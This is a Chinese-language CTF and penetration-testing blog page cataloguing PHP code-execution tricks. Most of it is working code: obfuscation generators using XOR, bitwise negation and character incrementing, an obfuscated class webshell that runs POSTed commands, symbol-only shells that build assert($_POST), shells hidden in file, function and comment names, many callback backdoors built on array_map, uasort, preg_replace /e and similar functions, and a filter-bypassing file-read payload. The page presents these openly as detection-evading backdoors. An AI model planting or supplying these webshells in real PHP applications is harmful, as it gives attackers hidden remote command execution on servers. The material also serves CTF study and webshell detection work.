Eki's blog Eki's blog
Home
  • Library

    • PHP
    • JAVA
    • Node
    • Python
  • Contest

    • D3CTF 2021 Write Up
    • 虎符CTF2021
    • 2021 红帽 Web Write Up
  • Problem Set

    • Ethernaut Write Up
Pentest
Develop
  • Friends
About
  • Website
  • Tools
  • Categories
  • Tags
  • Archives
GitHub (opens new window)

Eki

Dreamer of Dreams
Home
  • Library

    • PHP
    • JAVA
    • Node
    • Python
  • Contest

    • D3CTF 2021 Write Up
    • 虎符CTF2021
    • 2021 红帽 Web Write Up
  • Problem Set

    • Ethernaut Write Up
Pentest
Develop
  • Friends
About
  • Website
  • Tools
  • Categories
  • Tags
  • Archives
GitHub (opens new window)
  • Catalogue

  • 隐写术
  • PHP

    • PHP 代码执行相关
      • 字符Trick
        • 异或
        • 取反
        • 字符自增
        • “数字”拼接
      • 利用非代码内容
        • 利用注释
      • 利用回调函数
        • 传统回调函数
        • 单个参数回调后门
        • 两个参数回调后门
        • 三个参数回调后门
        • Shell
        • 参考资料
      • 变量覆盖
      • 析构函数
      • 无参数读文件
    • PHP中的扩展
    • PHP中函数的安全漏洞
    • PHP内核
    • PHP序列化问题
    • PHP中的协议利用
    • fastcgi
    • fi
    • webshell
    • Thinkphp
    • laravel 框架
    • PHP积累
  • protocol
  • Java

  • Node

  • Python

  • Golang

  • Arbitrary Code Execution
  • Shell
  • SQLi
  • SSRF
  • SSTI
  • lfi
  • XSS
  • XXE
  • convert
  • .htaccess文件利用
  • 序列化与反序列化问题小结
  • CTF
  • PHP
Eki
2021-05-10
目录

PHP 代码执行相关

# PHP 代码执行相关

# 字符Trick

# 异或

payload="phpinfo"
allowed="ABCHIJKLMNQRTUVWXYZ\]^abchijklmnqrtuvwxyz}~!#%*+-/:;<=>?@"# no ()
reth=""
rett=""
for c in payload:
    flag=False
    for i in allowed:
        if flag == False:
            for j in allowed:
                if ord(i)^ord(j)==ord(c):
                    #print("i=%s j=%s c=%s"%(i,j,c))
                    reth=reth+"%"+str(hex(ord(i)))[2:]
                    rett=rett+"%"+str(hex(ord(j)))[2:]
                    flag=True
                    break
ret=reth+"^"+rett

print ret
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

# 白名单异或

$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh',  'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
$convert = ['decbin','decoct'];
foreach($whitelist as $a){
    foreach($convert as $b){
        for($i=0;$i<999999;$i++){
            $result = $a ^ $b($i);
            if(preg_match('/_GET|_POST|_REQUEST/',$result)){
                echo $a."^".$b."(".$i.")=".$result."\n";
            }
        }
    }
}
1
2
3
4
5
6
7
8
9
10
11
12

# 异或shell

<?php 
class FSPU { 
    function ROpE() {
        $XFfq = "\x47" ^ "\x26";
        $vzat = "\x54" ^ "\x27";
        $DeqA = "\x4" ^ "\x77";
        $IEpc = "\x2b" ^ "\x4e";
        $HkYR = "\xc3" ^ "\xb1";
        $mPnH = "\x16" ^ "\x62";
        $vFaC =$XFfq.$vzat.$DeqA.$IEpc.$HkYR.$mPnH;
        return $vFaC;
    }
    function __destruct(){
        $zYcQ=$this->ROpE();
        @$zYcQ($this->rI);
    }
}
$fspu = new FSPU();
@$fspu->rI = isset($_GET['id'])?base64_decode($_POST['cmd']):$_POST['cmd'];
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

# 取反

<?php
$str = 'phpinfo';
$str = str_split($str);
$flag='';
foreach ($str as  $value) {
    $flag.=~$value;
}
echo "(~".urlencode($flag).")();";
1
2
3
4
5
6
7
8

# 字符自增

<?=[$_=[],
$_=@"$_",
$_=$_['!'=='@'],
$__=$_,
$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,
$___=$__, 
$__=$_,
$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,
$___.=$__,
$__=$_,
$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,
$___.=$__,
$__=$_,
$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,
$___.=$__,
$__=$_,
$__++,$__++,$__++,$__++,
$___.=$__,
$__=$_,
$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,
$___.=$__,
$____='_',
$__=$_,
$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,
$____.=$__,
$__=$_,
$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,
$____.=$__,
$__=$_,
$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,
$____.=$__,
$__=$_,
$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,
$____.=$__,
$_=$$____,
$___($_["_"])]?> //"assert"($_POST["_"])
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?=[$_=[],
$_=@"$_",
$_=$_['!'=='@'],
$__=$_,
$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,
$___=$__,//P

$__=$_,
$__++,$__++,$__++,$__++,$__++,$__++,$__++,
$___.=$__,//H

$__=$_,
$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,
$___.=$__,//P

$__=$_,
$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,
$___.=$__,//I

$__=$_,
$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,
$___.=$__,//N

$__=$_,
$__++,$__++,$__++,$__++,$__++,
$___.=$__,//F

$__=$_,
$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,
$___.=$__,//O


$___()]?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?=[$_=[],
$_=@"$_",
$_=$_['!'=='@'],
$____='_',
$__=$_,
$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,
$____.=$__,
$__=$_,
$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,
$____.=$__,
$__=$_,
$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,
$____.=$__,
$__=$_,
$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,
$____.=$__,
$_=$$____,
$_["__"]($_["_"])]?>//$_POST["__"]($_POST["_"])
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

还可以用 ``<?=?> 替代分号逗号

$_=[].[];#$_='ArrayArray'
$_=''.[];#$_='Array'
1
2
<?php $_=[].[];$__=0;$__++;$__++;$__++;$_=$_[$__]; #$_='a'
<?php $_=''.[];$__=0;$__++;$__++;$__++;$_=$_[$__]; #$_='a'
1
2

# “数字”拼接

PHP 中,将两个数字使用.拼接,会当做字符串来处理,返回的也是一个字符串。例如:(1).(2)出来的就是字符串"12",然后可以用{}来代替[]来取单个字符。

$char = '1234567890-INFAH@+*%$()"!%meogiakcfhvwbnq_';
for($i = 0; $i < strlen($char); $i++){
    for($j = 0; $j < strlen($char); $j++){
        echo($char[$i] .'&' .$char[$j] . ' '. ($char[$i] & $char[$j]));
        echo("<br>");
        echo($char[$i] .'|' .$char[$j] . ' '. ($char[$i] | $char[$j]));
        echo("<br>");
    }
}
1
2
3
4
5
6
7
8
9

sissel师傅写的脚本

<?php
$old_list = 'INFA0123456789';
$new_list = $old_list;

$result = array(
    "I"=>"((1/0).(0)){0}",
    "N"=>"((1/0).(0)){1}",
    "F"=>"((1/0).(0)){2}",
    "A"=>"((0/0).(0)){1}",
    "0"=>"((0).(0)){0}",
    "1"=>"((1).(0)){0}",
    "2"=>"((2).(0)){0}",
    "3"=>"((3).(0)){0}",
    "4"=>"((4).(0)){0}",
    "5"=>"((5).(0)){0}",
    "6"=>"((6).(0)){0}",
    "7"=>"((7).(0)){0}",
    "8"=>"((8).(0)){0}",
    "9"=>"((9).(0)){0}",
);

while(true){
    for($i = 0; $i < strlen($old_list); $i++){
        for($j = 0; $j < strlen($old_list); $j++){
            $tmp = ($old_list[$i]) & ($old_list[$j]);
            if(! isset($result[$tmp])){
                $result[$tmp] = "(".$result[$old_list[$i]].")&(".$result[$old_list[$j]].")";
                $new_list .= $tmp;
            } 

            $tmp = $old_list[$i] | $old_list[$j];
            if(! isset($result[$tmp])){
                $result[$tmp] = "(".$result[$old_list[$i]].")|(".$result[$old_list[$j]].")";
                $new_list .= $tmp;
            } 
        }
    }

    if($new_list == $old_list)
        break;
    $old_list = $new_list;
}
//var_dump($result);
//var_dump($old_list);

function gen($op){
    global $result;
    $final = array();
    for($i = 0; $i < strlen($op); $i++){
        if(!array_key_exists($op[$i],$result)){
            $final[]=("(".$result[strtoupper($op[$i])].")");
        }
        else $final[]=("(".$result[$op[$i]].")");
    }
    //var_dump($final);
    return "(".implode(".",$final).")";
}

$payload = gen("phpinfo").gen("").";";

echo $payload;

eval($payload);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63

有些字符可能无法利用&|生成,可利用php忽略大小写的特性绕过

# 利用非代码内容

一般webshell是通过文件内容来查杀,因此我们可以利用一切非文件内容的可控值来构造webshell,譬如文件名

<?php
substr(__FILE__, -10,-4)($_GET['a']);
?>
1
2
3

同理,除了文件名,还有哪些我们很容易可以控制的值呢?

函数名也可。

<?php 
function systema(){
    substr(__FUNCTION__, -7,-1)($_GET['a']);
}
systema();
1
2
3
4
5

同理方法名也可

<?php 
class test{
    function systema(){
        substr(__METHOD__, -7,-1)($_GET['a']);
    }
}
$a = new test();
$a->systema();
1
2
3
4
5
6
7
8

还有类名 __CLASS__ 什么的就不再多说了。

# 利用注释

PHP Reflection API 可以用于导出或者提取关于类 , 方法 , 属性 , 参数 等详细信息 . 甚至包含注释的内容。

<?php
/**
*system
*/
highlight_file(__FILE__);
class TestClass {}

$rc = new ReflectionClass('TestClass');
#echo $rc->getDocComment();
echo substr($rc->getDocComment(),-9,-3)($_GET['l1nk']);
?>
1
2
3
4
5
6
7
8
9
10
11

# 利用回调函数

回调函数就是将一个函数作为参数传入另一个函数的函数,比如call_user_func , call_user_func_array,array_map等等,这些函数可以将函数作为参数执行后返回主函数,如果将一些危险的函数作为参数传入,那就有可能成为一个可利用且不易检测的后门。

# 传统回调函数

  • call_user_func()在PHP中是回调的标准的函数,第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数,返回值为回调函数的结果。
call_user_func('assert', $_REQUEST["pass"]);
1
  • assert()函数直接作为回调函数,然后$_REQUEST["pass"]作为assert参数调用。 另外,PHP还提供另外一个相似的函数call_user_func_array():
call_user_func_array('assert', array($_REQUEST['pass']));
1
  • call_user_func_array函数,和call_user_func类似,只是第二个参数可以传入参数列表组成的数组。

# 单个参数回调后门

  • array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] ) 依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e));
1
2
3
  • array_map
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_map(base64_decode($e), $arr);
1
2
3
  • register_shutdown_function
<?php
$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['pass']);
1
2
3
  • register_tick_function
<?php
$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function ($e, $_REQUEST['pass']);
1
2
3
4
  • filter_var/filter_var_array
<?php
filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));
filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));
1
2
3

# 两个参数回调后门

  • assert()

在PHP5.4.8+版本中,assert有一个新的可选参数descrition。

具体函数定义如下:

assert ( mixed $assertion [, string $description ] ) : bool

所以较于之前的PHP版本,我们可以使用一些新的方式去进行调用:

<?php
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, base64_decode($e));
1
2
3
4

注意:$arr数组中的元素都是回调函数$e的参数!

  • uksort():

具体函数定义如下:

uksort ( array &$array , callable $key_compare_func ) : bool

<?php
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uksort($arr, base64_decode($e));
1
2
3
4

以及面向对象的方法:

<?php
// way 0
$arr = new ArrayObject(array('test', $_REQUEST['pass']));
$arr->uasort('assert');

// way 1
$arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));
$arr->uksort('assert');
1
2
3
4
5
6
7
8

再比如array_reduce():

PHP 4 >= 4.0.5, PHP 5, PHP 7) array_reduce — 用回调函数迭代地将数组简化为单一的值

array_reduce($arr = array(''), base64_decode($_REQUEST['e']), $_REQUEST['a']);
1

array_udiff()函数

(PHP 5, PHP 7) array_udiff — 用回调函数比较数据来计算数组的差集

array_udiff($arr = array($_REQUEST['a']), $arr1 = array(''), base64_decode($_REQUEST['e']));
1

# 三个参数回调后门

  • array_walk()。

    函数定义:array_walk ( array &$array , callable$callback [, mixed $userdata = NULL ] ) : bool

三个参数可以用preg_replace()。

<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk($arr, $e, '');
1
2
3
4
  • preg_replace 函数是用来执行一个正则表达式的搜索和替换,它的函数定义如下:

preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed

根据array_walk()参数解释可以得出,array_walk($arr, $e, '');等价于:

preg_replace('|.*|e', 'phpinfo()', '');
1

第一个参数|.*|e表示的是\e模式匹配 (opens new window),即会把replacement参数当作PHP语句来执行,.*是贪婪匹配。

除了array_walk(),还可以使用array_walk_recurcive(),参数的位置都是一样的:

<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk_recursive($arr, $e, '');
1
2
3
4

看了以上几个回调后门,发现preg_replace()确实好用。但显然很多WAF都会对其有所防备。其实PHP里不止这个函数可以执行eval的功能,还有几个类似的:

<?php
mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e');
1
2

另外一个:

<?php
echo preg_filter('|.*|e', $_REQUEST['pass'], '');
1
2

# Shell

<?php
error_reporting(0);
function argu($a, $b){
    $ext = explode('ABKing',$a);
    $ext1 = $ext[0];
    $ext2 = $ext[1];
    $ext3 = $ext[2];
    $ext4 = $ext[3];
    $ext5 = $ext[4];
    $ext6 = $ext[5];
    $arr[0] = $ext1.$ext2.$ext3.$ext4.$ext5.$ext6;
    $arr[1] = $b;
    return $arr;
}
$b = $_POST['x'];
$arr = argu("aABKingsABKingsABKingeABKingrABKingt", $b);
$x = $arr[0];
$y = $arr[1];
array_map($x, array($y));
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

# 参考资料

https://leavesongs.com/PENETRATION/php-callback-backdoor.html

https://ca01h.top/Web_security/php_related/1.PHP%E5%9B%9E%E8%B0%83%E5%90%8E%E9%97%A8/

# 变量覆盖

<?php
$b='ls';
parse_str("a=$b");
print_r(`$a`); 
?>
1
2
3
4
5

# 析构函数

<?php
	class User {
		public $name="";
		function __destruct (){
			eval($this->name);
		}	
	}
	highlight_file(__FILE__);

	$user = new User;
	$user->name = $_GET['l1nk'];
?>
1
2
3
4
5
6
7
8
9
10
11
12

# 无参数读文件

过滤条件

preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])
';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['exp'])
1
2

利用current(localeconv()) pos(localeconv()) === .

POC:

show_source(array_rand(array_flip(scandir(current(localeconv()))))); #随机当前读目录下文件
chdir(next(scandir(pos(localeconv()) #chdir(next(scandir(pos(localeconv()
1
2
echo(readfile(end(scandir())))))));
1

# 参考资料

RoarCTF Web writeup https://github.red/roarctf-web-writeup/

编辑 (opens new window)
上次更新: 2022/01/17, 16:49:24
隐写术
PHP中的扩展

← 隐写术 PHP中的扩展→

最近更新
01
QWB CTF2022 线下赛总决赛部分题解
08-25
02
CISCN2022 总决赛部分题解
08-25
03
DSCTF2022决赛 部分writeup
08-08
更多文章>
Theme by Vdoing | Copyright © 2019-2022 EkiXu | Creative Commons License
This work is licensed under a Creative Commons Attribution 4.0 International License.
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式